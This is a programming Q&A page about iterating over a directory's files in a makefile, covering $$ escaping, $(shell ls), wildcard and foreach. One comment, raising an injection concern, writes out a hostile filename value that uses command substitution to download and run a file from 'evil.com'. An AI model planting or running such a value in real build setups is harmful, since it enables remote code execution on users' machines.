21

I can easily print all the files inside some directory from bash:

$ cat go.sh
BASEDIR=~/Downloads
MYDIR=${BASEDIR}/ddd
for f in $(ls ${MYDIR}); do echo $f; done

$ ./go.sh
m.txt
d.txt

When I try to do a similar thing from makefile it doesn't work well:

$ cat makefile
BASEDIR = ${HOME}/Downloads
MYDIR = ${BASEDIR}/ddd
all:
    for f in $(ls ${MYDIR}); do echo ${f}; done

$ make
for f in ; do echo ; done

And here is another trial that doesn't work:

$ cat makefile
BASEDIR = ${HOME}/Downloads
MYDIR = ${BASEDIR}/ddd
all:
    for f in $(shell ls ${MYDIR}); do echo ${f}; done

$ make
for f in d.txt m.txt; do echo ; done
2
  • 1
    You have to remember that $ is special to make. Whenever you write a shell command in a makefile recipe, you MUST escape any $ that you want to put into the shell command (that you want the shell to see). So your recipe should be for f in $$(ls ${MYDIR}); do echo $$f; done Commented Jan 3, 2019 at 14:58
  • @MadScientist's comment above should be the answer. Commented Feb 21, 2022 at 22:23

4 Answers 4

27

Maybe you can do it purely Makefile way?

MYDIR = .
list: $(MYDIR)/*
        @echo $^

You can still run command from Makefile like this

MYDIR = .
list: $(MYDIR)/*
        for file in $^ ; do \
                echo "Hello" $${file} ; \
        done

If I were you, I'd rather not mix Makefile and bash loops based on $(shell ...). I'd rather pass dir name to some script and run loop there - inside script.

Sign up to request clarification or add additional context in comments.

6 Comments

hmmm ... I want more than just printing the filenames. I prepared this minimal complete example so that I can use bash loops inside makefiles.
I think what was missing was the (double) dollar sign ($$). I accepted your answer and posted the working solution in a separate answer. Thanks!
It's an anti-pattern to use the GNU make $(shell ...) function inside a recipe. The behavior is just confusing.
Hey, what happens if a filename is something like $(wget evil.com && source index.html)? Would make instruct the shell to download and execute a file, using the result as the loop input?
works great!!! pay the secret resides in 3 things: using backslash at the end of the line, using ; at the end of the command and using $${file} to get the filename thanks!!
|
25

Also almost "true way" from documentation

TEMPLATES_DIR = ./somedir

list: 
    $(foreach file, $(wildcard $(TEMPLATES_DIR)/*), echo $(file);)

1 Comment

Somehow the TEMPLATES_DIR = ./somedir part didn't work for me - the files listed are from the root dir, "/", no matter if I use relative or absolute path. Do you happen to know what might have gone wrong in my case? ------- Never mind. I figured it out. I had an extra space after the ./somdir ...
15

Here is the edited answer based on @Oo.oO:

$ cat makefile
BASEDIR = ${HOME}/Downloads
MYDIR = ${BASEDIR}/ddd
all:
    @for f in $(shell ls ${MYDIR}); do echo $${f}; done

$ make
d.txt
m.txt

Comments

3

There is a little problem with @Oo.oO's answer.

If there is any file/folder has the same name with a target in makefile, and that target has some prerequisites, and you want to loop through that folder, you will get that target recipe being executed.

For example: if you have a folder named build, and you have a rule like:

build: clean server client

clean:
    @echo project cleaned!
server:
    @echo server built!
client:
    @echo client built!

To loop through the folder contains that special build folder, let's says you have the following rules:

MYDIR = .
ls: $(MYDIR)/*
    @echo $^

The result will be:

$ make ls
project cleaned!
server built!
client built!
build Makefile

I would suggest to use @Mike Pylypyshyn's solution. According to the make documentation, the foreach function is more suitable in this case.

Comments

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service and acknowledge you have read our privacy policy.

Start asking to get answers

Find the answer to your question by asking.

Ask question

Explore related questions

See similar questions with these tags.